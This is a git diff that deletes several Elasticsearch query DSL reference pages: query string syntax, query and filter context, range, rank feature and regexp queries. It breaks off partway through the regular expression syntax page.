-GET /_search
-{
-  "query": {
-    "query_string": {
-      "fields": [
-        "title",
-        "content"
-      ],
-      "query": "this OR that OR thus",
-      "type": "cross_fields",
-      "minimum_should_match": 2
-    }
-  }
-}
---------------------------------------------------
-
-The example above creates a boolean query:
-
-`(blended(terms:[field2:this, field1:this]) blended(terms:[field2:that, field1:that]) blended(terms:[field2:thus, field1:thus]))~2`
-
-that matches documents with at least two of the three per-term blended queries.
-
-===== Allow expensive queries
-Query string query can be internally be transformed to a <<query-dsl-prefix-query, `prefix query`>> which means
-that if the prefix queries are disabled as explained <<prefix-query-allow-expensive-queries, here>> the query will not be
-executed and an exception will be thrown.
diff --git a/docs/reference/query-dsl/query-string-syntax.asciidoc b/docs/reference/query-dsl/query-string-syntax.asciidoc
deleted file mode 100644
index 52c9030acb2..00000000000
--- a/docs/reference/query-dsl/query-string-syntax.asciidoc
+++ /dev/null
@@ -1,320 +0,0 @@
-[[query-string-syntax]]
-
-===== Query string syntax
-
-The query string ``mini-language'' is used by the
-<<query-dsl-query-string-query>> and by the
-`q` query string parameter in the <<search-search,`search` API>>.
-
-The query string is parsed into a series of _terms_ and _operators_. A
-term can be a single word -- `quick` or `brown` -- or a phrase, surrounded by
-double quotes -- `"quick brown"` -- which searches for all the words in the
-phrase, in the same order.
-
-Operators allow you to customize the search -- the available options are
-explained below.
-
-====== Field names
-
-You can specify fields to search in the query syntax:
-
-* where the `status` field contains `active`
-
-    status:active
-
-* where the `title` field contains `quick` or `brown`
-
-    title:(quick OR brown)
-
-* where the `author` field contains the exact phrase `"john smith"`
-
-    author:"John Smith"
-
-* where the `first name` field contains `Alice` (note how we need to escape
-  the space with a backslash)
-
-    first\ name:Alice
-
-* where any of the fields `book.title`, `book.content` or `book.date` contains
-  `quick` or `brown` (note how we need to escape the `*` with a backslash):
-
-    book.\*:(quick OR brown)
-
-* where the field `title` has any non-null value:
-
-    _exists_:title
-
-[[query-string-wildcard]]
-====== Wildcards
-
-Wildcard searches can be run on individual terms, using `?` to replace
-a single character, and `*` to replace zero or more characters:
-
-    qu?ck bro*
-
-Be aware that wildcard queries can use an enormous amount of memory and
-perform very badly -- just think how many terms need to be queried to
-match the query string `"a* b* c*"`.
-
-[WARNING]
-=======
-Pure wildcards `\*` are rewritten to <<query-dsl-exists-query,`exists`>> queries for efficiency.
-As a consequence, the wildcard `"field:*"` would match documents with an empty value
- like the following:
-```
-{
-  "field": ""
-}
-```
-\... and would **not** match if the field is missing or set with an explicit null
-value like the following:
-```
-{
-  "field": null
-}
-```
-=======
-
-[WARNING]
-=======
-Allowing a wildcard at the beginning of a word (eg `"*ing"`) is particularly
-heavy, because all terms in the index need to be examined, just in case
-they match.  Leading wildcards can be disabled by setting
-`allow_leading_wildcard` to `false`.
-=======
-
-Only parts of the analysis chain that operate at the character level are
-applied. So for instance, if the analyzer performs both lowercasing and
-stemming, only the lowercasing will be applied: it would be wrong to perform
-stemming on a word that is missing some of its letters.
-
-By setting `analyze_wildcard` to true, queries that end with a `*` will be
-analyzed and a boolean query will be built out of the different tokens, by
-ensuring exact matches on the first N-1 tokens, and prefix match on the last
-token.
-
-====== Regular expressions
-
-Regular expression patterns can be embedded in the query string by
-wrapping them in forward-slashes (`"/"`):
-
-    name:/joh?n(ath[oa]n)/
-
-The supported regular expression syntax is explained in <<regexp-syntax>>.
-
-[WARNING]
-=======
-The `allow_leading_wildcard` parameter does not have any control over
-regular expressions.  A query string such as the following would force
-Elasticsearch to visit every term in the index:
-
-    /.*n/
-
-Use with caution!
-=======
-
-[[query-string-fuzziness]]
-====== Fuzziness
-
-We can search for terms that are
-similar to, but not exactly like our search terms, using the ``fuzzy''
-operator:
-
-    quikc~ brwn~ foks~
-
-This uses the
-{wikipedia}/Damerau-Levenshtein_distance[Damerau-Levenshtein distance]
-to find all terms with a maximum of
-two changes, where a change is the insertion, deletion
-or substitution of a single character, or transposition of two adjacent
-characters.
-
-The default _edit distance_ is `2`, but an edit distance of `1` should be
-sufficient to catch 80% of all human misspellings. It can be specified as:
-
-    quikc~1
-
-[[avoid-widlcards-fuzzy-searches]]
-[WARNING]
-.Avoid mixing fuzziness with wildcards
-====
-Mixing <<fuzziness,fuzzy>> and <<query-string-wildcard,wildcard>> operators is
-_not_ supported. When mixed, one of the operators is not applied. For example,
-you can search for `app~1` (fuzzy) or `app*` (wildcard), but searches for
-`app*~1` do not apply the fuzzy operator (`~1`).
-====
-
-====== Proximity searches
-
-While a phrase query (eg `"john smith"`) expects all of the terms in exactly
-the same order, a proximity query allows the specified words to be further
-apart or in a different order.  In the same way that fuzzy queries can
-specify a maximum edit distance for characters in a word, a proximity search
-allows us to specify a maximum edit distance of words in a phrase:
-
-    "fox quick"~5
-
-The closer the text in a field is to the original order specified in the
-query string, the more relevant that document is considered to be. When
-compared to the above example query, the phrase `"quick fox"` would be
-considered more relevant than `"quick brown fox"`.
-
-====== Ranges
-
-Ranges can be specified for date, numeric or string fields. Inclusive ranges
-are specified with square brackets `[min TO max]` and exclusive ranges with
-curly brackets `{min TO max}`.
-
-* All days in 2012:
-
-    date:[2012-01-01 TO 2012-12-31]
-
-* Numbers 1..5
-
-    count:[1 TO 5]
-
-* Tags between `alpha` and `omega`, excluding `alpha` and `omega`:
-
-    tag:{alpha TO omega}
-
-* Numbers from 10 upwards
-
-    count:[10 TO *]
-
-* Dates before 2012
-
-    date:{* TO 2012-01-01}
-
-Curly and square brackets can be combined:
-
-* Numbers from 1 up to but not including 5
-
-    count:[1 TO 5}
-
-
-Ranges with one side unbounded can use the following syntax:
-
-    age:>10
-    age:>=10
-    age:<10
-    age:<=10
-
-[NOTE]
-====================================================================
-To combine an upper and lower bound with the simplified syntax, you
-would need to join two clauses with an `AND` operator:
-
-    age:(>=10 AND <20)
-    age:(+>=10 +<20)
-
-====================================================================
-
-The parsing of ranges in query strings can be complex and error prone. It is
-much more reliable to use an explicit <<query-dsl-range-query,`range` query>>.
-
-
-====== Boosting
-
-Use the _boost_ operator `^` to make one term more relevant than another.
-For instance, if we want to find all documents about foxes, but we are
-especially interested in quick foxes:
-
-    quick^2 fox
-
-The default `boost` value is 1, but can be any positive floating point number.
-Boosts between 0 and 1 reduce relevance.
-
-Boosts can also be applied to phrases or to groups:
-
-    "john smith"^2   (foo bar)^4
-
-====== Boolean operators
-
-By default, all terms are optional, as long as one term matches.  A search
-for `foo bar baz` will find any document that contains one or more of
-`foo` or `bar` or `baz`.  We have already discussed the `default_operator`
-above which allows you to force all terms to be required, but there are
-also _boolean operators_ which can be used in the query string itself
-to provide more control.
-
-The preferred operators are `+` (this term *must* be present) and `-`
-(this term *must not* be present). All other terms are optional.
-For example, this query:
-
-    quick brown +fox -news
-
-states that:
-
-* `fox` must be present
-* `news` must not be present
-* `quick` and `brown` are optional -- their presence increases the relevance
-
-The familiar boolean operators `AND`, `OR` and `NOT` (also written `&&`, `||`
-and `!`) are also supported but beware that they do not honor the usual
-precedence rules, so parentheses should be used whenever multiple operators are
-used together. For instance the previous query could be rewritten as:
-
-`((quick AND fox) OR (brown AND fox) OR fox) AND NOT news`::
-
-This form now replicates the logic from the original query correctly, but
-the relevance scoring bears little resemblance to the original.
-
-In contrast, the same query rewritten using the <<query-dsl-match-query,`match` query>>
-would look like this:
-
-    {
-        "bool": {
-            "must":     { "match": "fox"         },
-            "should":   { "match": "quick brown" },
-            "must_not": { "match": "news"        }
-        }
-    }
-
-
-====== Grouping
-
-Multiple terms or clauses can be grouped together with parentheses, to form
-sub-queries:
-
-    (quick OR brown) AND fox
-
-Groups can be used to target a particular field, or to boost the result
-of a sub-query:
-
-    status:(active OR pending) title:(full text search)^2
-
-====== Reserved characters
-
-If you need to use any of the characters which function as operators in your
-query itself (and not as operators), then you should escape them with
-a leading backslash. For instance, to search for `(1+1)=2`, you would
-need to write your query as `\(1\+1\)\=2`. When using JSON for the request body, two preceding backslashes (`\\`) are required; the backslash is a reserved escaping character in JSON strings.
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "query" : {
-    "query_string" : {
-      "query" : "kimchy\\!",
-      "fields"  : ["user.id"]
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-
-The reserved characters are:  `+ - = && || > < ! ( ) { } [ ] ^ " ~ * ? : \ /`
-
-Failing to escape these special characters correctly could lead to a syntax error which prevents your query from running. 
-
-NOTE: `<` and `>` can't be escaped at all. The only way to prevent them from
-attempting to create a range query is to remove them from the query string
-entirely.
-
-====== Whitespaces and empty queries
-
-Whitespace is not considered an operator.
-
-If the query string is empty or only contains whitespaces the query will
-yield an empty result set.
diff --git a/docs/reference/query-dsl/query_filter_context.asciidoc b/docs/reference/query-dsl/query_filter_context.asciidoc
deleted file mode 100644
index 0aa0eb994cb..00000000000
--- a/docs/reference/query-dsl/query_filter_context.asciidoc
+++ /dev/null
@@ -1,96 +0,0 @@
-[[query-filter-context]]
-== Query and filter context
-
-[discrete]
-[[relevance-scores]]
-=== Relevance scores
-
-By default, Elasticsearch sorts matching search results by **relevance
-score**, which measures how well each document matches a query.
-
-The relevance score is a positive floating point number, returned in the
-`_score` metadata field of the <<search-request-body,search>> API. The higher the
-`_score`, the more relevant the document. While each query type can calculate
-relevance scores differently, score calculation also depends on whether the
-query clause is run in a **query** or **filter** context.
-
-[discrete]
-[[query-context]]
-=== Query context
-In the query context, a query clause answers the question ``__How well does this
-document match this query clause?__'' Besides deciding whether or not the
-document matches, the query clause also calculates a relevance score in the
-`_score` metadata field.
-
-Query context is in effect whenever a query clause is passed to a `query`
-parameter, such as the `query` parameter in the
-<<request-body-search-query,search>> API.
-
-[discrete]
-[[filter-context]]
-=== Filter context
-In a filter context, a query clause answers the question ``__Does this
-document match this query clause?__''  The answer is a simple Yes or No -- no
-scores are calculated.  Filter context is mostly used for filtering structured
-data, e.g.
-
-*  __Does this +timestamp+ fall into the range 2015 to 2016?__
-*  __Is the +status+  field set to ++"published"++__?
-
-Frequently used filters will be cached automatically by Elasticsearch, to
-speed up performance.
-
-Filter context is in effect whenever a query clause is passed to a `filter`
-parameter, such as the `filter` or `must_not` parameters in the
-<<query-dsl-bool-query,`bool`>> query, the `filter` parameter in the
-<<query-dsl-constant-score-query,`constant_score`>> query, or the
-<<search-aggregations-bucket-filter-aggregation,`filter`>> aggregation.
-
-[discrete]
-[[query-filter-context-ex]]
-=== Example of query and filter contexts
-Below is an example of query clauses being used in query and filter context
-in the `search` API.  This query will match documents where all of the following
-conditions are met:
-
-* The `title` field contains the word `search`.
-* The `content` field contains the word `elasticsearch`.
-* The `status` field contains the exact word `published`.
-* The `publish_date` field contains a date from 1 Jan 2015 onwards.
-
-[source,console]
-------------------------------------
-GET /_search
-{
-  "query": { <1>
-    "bool": { <2>
-      "must": [
-        { "match": { "title":   "Search"        }},
-        { "match": { "content": "Elasticsearch" }}  
-      ],
-      "filter": [ <3>
-        { "term":  { "status": "published" }}, 
-        { "range": { "publish_date": { "gte": "2015-01-01" }}} 
-      ]
-    }
-  }
-}
-------------------------------------
-
-<1> The `query` parameter indicates query context.
-<2> The `bool` and two `match` clauses are used in query context,
-    which means that they are used to score how well each document
-    matches.
-<3> The `filter` parameter indicates filter context. Its `term` and 
-    `range` clauses are used in filter context. They will filter out 
-    documents which do not match, but they will
-    not affect the score for matching documents.
-
-WARNING: Scores calculated for queries in query context are represented 
-as single precision floating point numbers; they have only
-24 bits for significand's precision. Score calculations that exceed the
-significand's precision will be converted to floats with loss of precision.
-
-TIP: Use query clauses in query context for conditions which should affect the
-score of matching documents (i.e. how well does the document match), and use
-all other query clauses in filter context.
\ No newline at end of file
diff --git a/docs/reference/query-dsl/range-query.asciidoc b/docs/reference/query-dsl/range-query.asciidoc
deleted file mode 100644
index 32184875aa0..00000000000
--- a/docs/reference/query-dsl/range-query.asciidoc
+++ /dev/null
@@ -1,252 +0,0 @@
-[[query-dsl-range-query]]
-=== Range query
-++++
-<titleabbrev>Range</titleabbrev>
-++++
-
-Returns documents that contain terms within a provided range.
-
-[[range-query-ex-request]]
-==== Example request
-
-The following search returns documents where the `age` field contains a term
-between `10` and `20`.
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "range": {
-      "age": {
-        "gte": 10,
-        "lte": 20,
-        "boost": 2.0
-      }
-    }
-  }
-}
-----
-
-[[range-query-top-level-params]]
-==== Top-level parameters for `range`
-
-`<field>`::
-+
---
-(Required, object) Field you wish to search.
---
-
-[[range-query-field-params]]
-==== Parameters for `<field>`
-
-`gt`::
-(Optional) Greater than.
-
-`gte`::
-(Optional) Greater than or equal to.
-
-`lt`::
-(Optional) Less than.
-
-`lte`::
-(Optional) Less than or equal to.
-
-`format`::
-+
---
-(Optional, string) Date format used to convert `date` values in the query.
-
-By default, {es} uses the <<mapping-date-format,date `format`>> provided in the
-`<field>`'s mapping. This value overrides that mapping format.
-
-For valid syntax, see <<mapping-date-format,`format`>>.
-
-WARNING: If a format or date value is incomplete, the range query replaces any
-missing components with default values. See <<missing-date-components>>.
-
---
-
-[[querying-range-fields]]
-`relation`::
-+
---
-(Optional, string) Indicates how the range query matches values for `range`
-fields. Valid values are:
-
-`INTERSECTS` (Default)::
-Matches documents with a range field value that intersects the query's range.
-
-`CONTAINS`::
-Matches documents with a range field value that entirely contains the query's range.
-
-`WITHIN`::
-Matches documents with a range field value entirely within the query's range.
---
-
-`time_zone`::
-+
---
-(Optional, string)
-{wikipedia}/List_of_UTC_time_offsets[Coordinated Universal
-Time (UTC) offset] or
-{wikipedia}/List_of_tz_database_time_zones[IANA time zone]
-used to convert `date` values in the query to UTC.
-
-Valid values are ISO 8601 UTC offsets, such as `+01:00` or -`08:00`, and IANA
-time zone IDs, such as `America/Los_Angeles`.
-
-For an example query using the `time_zone` parameter, see
-<<range-query-time-zone,Time zone in `range` queries>>.
-
-[NOTE]
-====
-The `time_zone` parameter does **not** affect the <<date-math,date math>> value
-of `now`. `now` is always the current system time in UTC.
-
-However, the `time_zone` parameter does convert dates calculated using `now` and
-<<date-math,date math rounding>>. For example, the `time_zone` parameter will
-convert a value of `now/d`.
-====
---
-
-`boost`::
-+
---
-(Optional, float) Floating point number used to decrease or increase the
-<<relevance-scores,relevance scores>> of a query. Defaults to `1.0`.
-
-You can use the `boost` parameter to adjust relevance scores for searches
-containing two or more queries.
-
-Boost values are relative to the default value of `1.0`. A boost value between
-`0` and `1.0` decreases the relevance score. A value greater than `1.0`
-increases the relevance score.
---
-
-[[range-query-notes]]
-==== Notes
-
-[[ranges-on-text-and-keyword]]
-===== Using the `range` query with `text` and `keyword` fields
-Range queries on <<text, `text`>> or <<keyword, `keyword`>> fields will not be executed if
-<<query-dsl-allow-expensive-queries, `search.allow_expensive_queries`>> is set to false.
-
-[[ranges-on-dates]]
-===== Using the `range` query with `date` fields
-
-When the `<field>` parameter is a <<date,`date`>> field data type, you can use
-<<date-math,date math>> with the following parameters:
-
-* `gt`
-* `gte`
-* `lt`
-* `lte`
-
-For example, the following search returns documents where the `timestamp` field
-contains a date between today and yesterday.
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "range": {
-      "timestamp": {
-        "gte": "now-1d/d",
-        "lt": "now/d"
-      }
-    }
-  }
-}
-----
-
-[[missing-date-components]]
-====== Missing date components
-
-For range queries and <<search-aggregations-bucket-daterange-aggregation,date
-range>> aggregations, {es} replaces missing date components with the following
-values. Missing year components are not replaced.
-
-[source,text]
-----
-MONTH_OF_YEAR:    01
-DAY_OF_MONTH:     01
-HOUR_OF_DAY:      23
-MINUTE_OF_HOUR:   59
-SECOND_OF_MINUTE: 59
-NANO_OF_SECOND:   999_999_999
-----
-
-For example, if the format is `yyyy-MM`, {es} converts a `gt` value of `2099-12`
-to `2099-12-01T23:59:59.999_999_999Z`. This date uses the provided year (`2099`)
-and month (`12`) but uses the default day (`01`), hour (`23`), minute (`59`),
-second (`59`), and nanosecond (`999_999_999`).
-
-[[range-query-date-math-rounding]]
-====== Date math and rounding
-{es} rounds <<date-math,date math>> values in parameters as follows:
-
-`gt`::
-+
---
-Rounds up to the first millisecond not covered by the rounded date.
-
-For example, `2014-11-18||/M` rounds up to `2014-12-01T00:00:00.000`, excluding
-the entire month of November.
---
-
-`gte`::
-+
---
-Rounds down to the first millisecond.
-
-For example, `2014-11-18||/M` rounds down to `2014-11-01T00:00:00.000`, including
-the entire month.
---
-
-`lt`::
-+
---
-Rounds down to the last millisecond before the rounded value.
-
-For example, `2014-11-18||/M` rounds down to `2014-10-31T23:59:59.999`, excluding
-the entire month of November.
---
-
-`lte`::
-+
---
-Rounds up to the latest millisecond in the rounding interval.
-
-For example, `2014-11-18||/M` rounds up to `2014-11-30T23:59:59.999`, including
-the entire month.
---
-
-[[range-query-time-zone]]
-===== Example query using `time_zone` parameter
-
-You can use the `time_zone` parameter to convert `date` values to UTC using a
-UTC offset. For example:
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "range": {
-      "timestamp": {
-        "time_zone": "+01:00",        <1>
-        "gte": "2020-01-01T00:00:00", <2>
-        "lte": "now"                  <3>
-      }
-    }
-  }
-}
-----
-// TEST[continued]
-
-<1> Indicates that `date` values use a UTC offset of `+01:00`.
-<2> With a UTC offset of `+01:00`, {es} converts this date to
-`2019-12-31T23:00:00 UTC`.
-<3> The `time_zone` parameter does not affect the `now` value.
diff --git a/docs/reference/query-dsl/rank-feature-query.asciidoc b/docs/reference/query-dsl/rank-feature-query.asciidoc
deleted file mode 100644
index 1563a67bc03..00000000000
--- a/docs/reference/query-dsl/rank-feature-query.asciidoc
+++ /dev/null
@@ -1,313 +0,0 @@
-[[query-dsl-rank-feature-query]]
-=== Rank feature query
-++++
-<titleabbrev>Rank feature</titleabbrev>
-++++
-
-Boosts the <<relevance-scores,relevance score>> of documents based on the
-numeric value of a <<rank-feature,`rank_feature`>> or
-<<rank-features,`rank_features`>> field.
-
-The `rank_feature` query is typically used in the `should` clause of a
-<<query-dsl-bool-query,`bool`>> query so its relevance scores are added to other
-scores from the `bool` query.
-
-Unlike the <<query-dsl-function-score-query,`function_score`>> query or other
-ways to change <<relevance-scores,relevance scores>>, the
-`rank_feature` query efficiently skips non-competitive hits when the
-<<search-uri-request,`track_total_hits`>> parameter is **not** `true`. This can
-dramatically improve query speed.
-
-[[rank-feature-query-functions]]
-==== Rank feature functions
-
-To calculate relevance scores based on rank feature fields, the `rank_feature`
-query supports the following mathematical functions:
-
-* <<rank-feature-query-saturation,Saturation>>
-* <<rank-feature-query-logarithm,Logarithm>>
-* <<rank-feature-query-sigmoid,Sigmoid>>
-
-If you don't know where to start, we recommend using the `saturation` function.
-If no function is provided, the `rank_feature` query uses the `saturation`
-function by default.
-
-[[rank-feature-query-ex-request]]
-==== Example request
-
-[[rank-feature-query-index-setup]]
-===== Index setup
-
-To use the `rank_feature` query, your index must include a
-<<rank-feature,`rank_feature`>> or <<rank-features,`rank_features`>> field
-mapping. To see how you can set up an index for the `rank_feature` query, try
-the following example.
-
-Create a `test` index with the following field mappings:
-
-- `pagerank`, a <<rank-feature,`rank_feature`>> field which measures the
-importance of a website
-- `url_length`, a <<rank-feature,`rank_feature`>> field which contains the
-length of the website's URL. For this example, a long URL correlates negatively
-to relevance, indicated by a `positive_score_impact` value of `false`.
-- `topics`, a <<rank-features,`rank_features`>> field which contains a list of
-topics and a measure of how well each document is connected to this topic
-
-[source,console]
-----
-PUT /test
-{
-  "mappings": {
-    "properties": {
-      "pagerank": {
-        "type": "rank_feature"
-      },
-      "url_length": {
-        "type": "rank_feature",
-        "positive_score_impact": false
-      },
-      "topics": {
-        "type": "rank_features"
-      }
-    }
-  }
-}
-----
-// TESTSETUP
-
-
-Index several documents to the `test` index.
-
-[source,console]
-----
-PUT /test/_doc/1?refresh
-{
-  "url": "https://en.wikipedia.org/wiki/2016_Summer_Olympics",
-  "content": "Rio 2016",
-  "pagerank": 50.3,
-  "url_length": 42,
-  "topics": {
-    "sports": 50,
-    "brazil": 30
-  }
-}
-
-PUT /test/_doc/2?refresh
-{
-  "url": "https://en.wikipedia.org/wiki/2016_Brazilian_Grand_Prix",
-  "content": "Formula One motor race held on 13 November 2016",
-  "pagerank": 50.3,
-  "url_length": 47,
-  "topics": {
-    "sports": 35,
-    "formula one": 65,
-    "brazil": 20
-  }
-}
-
-PUT /test/_doc/3?refresh
-{
-  "url": "https://en.wikipedia.org/wiki/Deadpool_(film)",
-  "content": "Deadpool is a 2016 American superhero film",
-  "pagerank": 50.3,
-  "url_length": 37,
-  "topics": {
-    "movies": 60,
-    "super hero": 65
-  }
-}
-----
-
-[[rank-feature-query-ex-query]]
-===== Example query
-
-The following query searches for `2016` and boosts relevance scores based on
-`pagerank`, `url_length`, and the `sports` topic.
-
-[source,console]
-----
-GET /test/_search 
-{
-  "query": {
-    "bool": {
-      "must": [
-        {
-          "match": {
-            "content": "2016"
-          }
-        }
-      ],
-      "should": [
-        {
-          "rank_feature": {
-            "field": "pagerank"
-          }
-        },
-        {
-          "rank_feature": {
-            "field": "url_length",
-            "boost": 0.1
-          }
-        },
-        {
-          "rank_feature": {
-            "field": "topics.sports",
-            "boost": 0.4
-          }
-        }
-      ]
-    }
-  }
-}
-----
-
-
-[[rank-feature-top-level-params]]
-==== Top-level parameters for `rank_feature`
-
-`field`::
-(Required, string) <<rank-feature,`rank_feature`>> or
-<<rank-features,`rank_features`>> field used to boost
-<<relevance-scores,relevance scores>>.
-
-`boost`::
-+
---
-(Optional, float) Floating point number used to decrease or increase
-<<relevance-scores,relevance scores>>. Defaults to `1.0`.
-
-Boost values are relative to the default value of `1.0`. A boost value between
-`0` and `1.0` decreases the relevance score. A value greater than `1.0`
-increases the relevance score.
---
-
-`saturation`::
-+
---
-(Optional, <<rank-feature-query-saturation,function object>>) Saturation
-function used to boost <<relevance-scores,relevance scores>> based on the
-value of the rank feature `field`. If no function is provided, the `rank_feature`
-query defaults to the `saturation` function. See
-<<rank-feature-query-saturation,Saturation>> for more information.
-
-Only one function `saturation`, `log`, or `sigmoid` can be provided.
---
-
-`log`::
-+
---
-(Optional, <<rank-feature-query-logarithm,function object>>) Logarithmic
-function used to boost <<relevance-scores,relevance scores>> based on the
-value of the rank feature `field`. See
-<<rank-feature-query-logarithm,Logarithm>> for more information.
-
-Only one function `saturation`, `log`, or `sigmoid` can be provided.
---
-
-`sigmoid`::
-+
---
-(Optional, <<rank-feature-query-sigmoid,function object>>) Sigmoid function used
-to boost <<relevance-scores,relevance scores>> based on the value of the
-rank feature `field`. See <<rank-feature-query-sigmoid,Sigmoid>> for more
-information.
-
-Only one function `saturation`, `log`, or `sigmoid` can be provided.
---
-
-
-[[rank-feature-query-notes]]
-==== Notes
-
-[[rank-feature-query-saturation]]
-===== Saturation
-The `saturation` function gives a score equal to `S / (S + pivot)`, where `S` is
-the value of the rank feature field and `pivot` is a configurable pivot value so
-that the result will be less than `0.5` if `S` is less than pivot and greater
-than `0.5` otherwise. Scores are always `(0,1)`.
-
-If the rank feature has a negative score impact then the function will be
-computed as `pivot / (S + pivot)`, which decreases when `S` increases.
-
-[source,console]
---------------------------------------------------
-GET /test/_search
-{
-  "query": {
-    "rank_feature": {
-      "field": "pagerank",
-      "saturation": {
-        "pivot": 8
-      }
-    }
-  }
-}
---------------------------------------------------
-
-If a `pivot` value is not provided, {es} computes a default value equal to the
-approximate geometric mean of all rank feature values in the index. We recommend
-using this default value if you haven't had the opportunity to train a good
-pivot value.
-
-[source,console]
---------------------------------------------------
-GET /test/_search
-{
-  "query": {
-    "rank_feature": {
-      "field": "pagerank",
-      "saturation": {}
-    }
-  }
-}
---------------------------------------------------
-
-[[rank-feature-query-logarithm]]
-===== Logarithm
-The `log` function gives a score equal to `log(scaling_factor + S)`, where `S`
-is the value of the rank feature field and `scaling_factor` is a configurable
-scaling factor. Scores are unbounded.
-
-This function only supports rank features that have a positive score impact.
-
-[source,console]
---------------------------------------------------
-GET /test/_search
-{
-  "query": {
-    "rank_feature": {
-      "field": "pagerank",
-      "log": {
-        "scaling_factor": 4
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[rank-feature-query-sigmoid]]
-===== Sigmoid
-The `sigmoid` function is an extension of `saturation` which adds a configurable
-exponent. Scores are computed as `S^exp^ / (S^exp^ + pivot^exp^)`. Like for the
-`saturation` function, `pivot` is the value of `S` that gives a score of `0.5`
-and scores are `(0,1)`.
-
-The `exponent` must be positive and is typically in `[0.5, 1]`. A
-good value should be computed via training. If you don't have the opportunity to
-do so, we recommend you use the `saturation` function instead.
-
-[source,console]
---------------------------------------------------
-GET /test/_search
-{
-  "query": {
-    "rank_feature": {
-      "field": "pagerank",
-      "sigmoid": {
-        "pivot": 7,
-        "exponent": 0.6
-      }
-    }
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/query-dsl/regexp-query.asciidoc b/docs/reference/query-dsl/regexp-query.asciidoc
deleted file mode 100644
index 480809ce135..00000000000
--- a/docs/reference/query-dsl/regexp-query.asciidoc
+++ /dev/null
@@ -1,100 +0,0 @@
-[[query-dsl-regexp-query]]
-=== Regexp query
-++++
-<titleabbrev>Regexp</titleabbrev>
-++++
-
-Returns documents that contain terms matching a
-{wikipedia}/Regular_expression[regular expression].
-
-A regular expression is a way to match patterns in data using placeholder
-characters, called operators. For a list of operators supported by the
-`regexp` query, see <<regexp-syntax, Regular expression syntax>>.
-
-[[regexp-query-ex-request]]
-==== Example request
-
-The following search returns documents where the `user.id` field contains any term
-that begins with `k` and ends with `y`. The `.*` operators match any
-characters of any length, including no characters. Matching
-terms can include `ky`, `kay`, and `kimchy`.
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "regexp": {
-      "user.id": {
-        "value": "k.*y",
-        "flags": "ALL",
-        "case_insensitive": true,
-        "max_determinized_states": 10000,
-        "rewrite": "constant_score"
-      }
-    }
-  }
-}
-----
-
-
-[[regexp-top-level-params]]
-==== Top-level parameters for `regexp`
-`<field>`::
-(Required, object) Field you wish to search.
-
-[[regexp-query-field-params]]
-==== Parameters for `<field>`
-`value`::
-(Required, string) Regular expression for terms you wish to find in the provided
-`<field>`. For a list of supported operators, see <<regexp-syntax, Regular
-expression syntax>>.
-+
---
-By default, regular expressions are limited to 1,000 characters. You can change
-this limit using the <<index-max-regex-length, `index.max_regex_length`>>
-setting.
-
-[WARNING]
-=====
-The performance of the `regexp` query can vary based on the regular expression
-provided. To improve performance, avoid using wildcard patterns, such as `.*` or
-`.*?+`, without a prefix or suffix.
-=====
---
-
-`flags`::
-(Optional, string) Enables optional operators for the regular expression. For
-valid values and more information, see <<regexp-optional-operators, Regular
-expression syntax>>.
-
-`case_insensitive`::
-(Optional, Boolean) allows case insensitive matching of the regular expression
-value with the indexed field values when set to true. Default is false which means
-the case sensitivity of matching depends on the underlying field's mapping.
-
-`max_determinized_states`::
-+
---
-(Optional, integer) Maximum number of
-{wikipedia}/Deterministic_finite_automaton[automaton states]
-required for the query. Default is `10000`.
-
-{es} uses https://lucene.apache.org/core/[Apache Lucene] internally to parse
-regular expressions. Lucene converts each regular expression to a finite
-automaton containing a number of determinized states.
-
-You can use this parameter to prevent that conversion from unintentionally
-consuming too many resources. You may need to increase this limit to run complex
-regular expressions.
---
-
-`rewrite`::
-(Optional, string) Method used to rewrite the query. For valid values and more
-information, see the <<query-dsl-multi-term-rewrite, `rewrite` parameter>>.
-
-[[regexp-query-notes]]
-==== Notes
-===== Allow expensive queries
-Regexp queries will not be executed if <<query-dsl-allow-expensive-queries, `search.allow_expensive_queries`>>
-is set to false.
diff --git a/docs/reference/query-dsl/regexp-syntax.asciidoc b/docs/reference/query-dsl/regexp-syntax.asciidoc
deleted file mode 100644
index 57c8c9d35b8..00000000000
--- a/docs/reference/query-dsl/regexp-syntax.asciidoc
+++ /dev/null
@@ -1,224 +0,0 @@
-[[regexp-syntax]]
-== Regular expression syntax
-
-A {wikipedia}/Regular_expression[regular expression] is a way to
-match patterns in data using placeholder characters, called operators.
-
-{es} supports regular expressions in the following queries:
-
-* <<query-dsl-regexp-query, `regexp`>>
-* <<query-dsl-query-string-query, `query_string`>>
-
-{es} uses https://lucene.apache.org/core/[Apache Lucene]'s regular expression
-engine to parse these queries.
-
-[discrete]
-[[regexp-reserved-characters]]
-=== Reserved characters
-Lucene's regular expression engine supports all Unicode characters. However, the
-following characters are reserved as operators:
-
-....
-. ? + * | { } [ ] ( ) " \
-....
-
-Depending on the <<regexp-optional-operators, optional operators>> enabled, the
-following characters may also be reserved:
-
-....
-# @ & < >  ~
-....
-
-To use one of these characters literally, escape it with a preceding
-backslash or surround it with double quotes. For example:
-
-....
-\@                  # renders as a literal '@'
-\\                  # renders as a literal '\'
-"john@smith.com"    # renders as 'john@smith.com'
-....
-    
-
-[discrete]
-[[regexp-standard-operators]]
-=== Standard operators
-
-Lucene's regular expression engine does not use the
-{wikipedia}/Perl_Compatible_Regular_Expressions[Perl
-Compatible Regular Expressions (PCRE)] library, but it does support the
-following standard operators.
-
-`.`::
-+
---
-Matches any character. For example:
-
-....
-ab.     # matches 'aba', 'abb', 'abz', etc.
-....
---
-
-`?`::
-+
---
-Repeat the preceding character zero or one times. Often used to make the
-preceding character optional. For example:
-
-....
-abc?     # matches 'ab' and 'abc'
-....
---
-
-`+`::
-+
---
-Repeat the preceding character one or more times. For example:
-
-....
-ab+     # matches 'ab', 'abb', 'abbb', etc.
-....
---
-
-`*`::
-+
---
-Repeat the preceding character zero or more times. For example:
-
-....
-ab*     # matches 'a', 'ab', 'abb', 'abbb', etc.
-....
---
-
-`{}`::
-+
---
-Minimum and maximum number of times the preceding character can repeat. For
-example:
-
-....
-a{2}    # matches 'aa'
-a{2,4}  # matches 'aa', 'aaa', and 'aaaa'
-a{2,}   # matches 'a` repeated two or more times
-....
---
-
-`|`::
-+
---
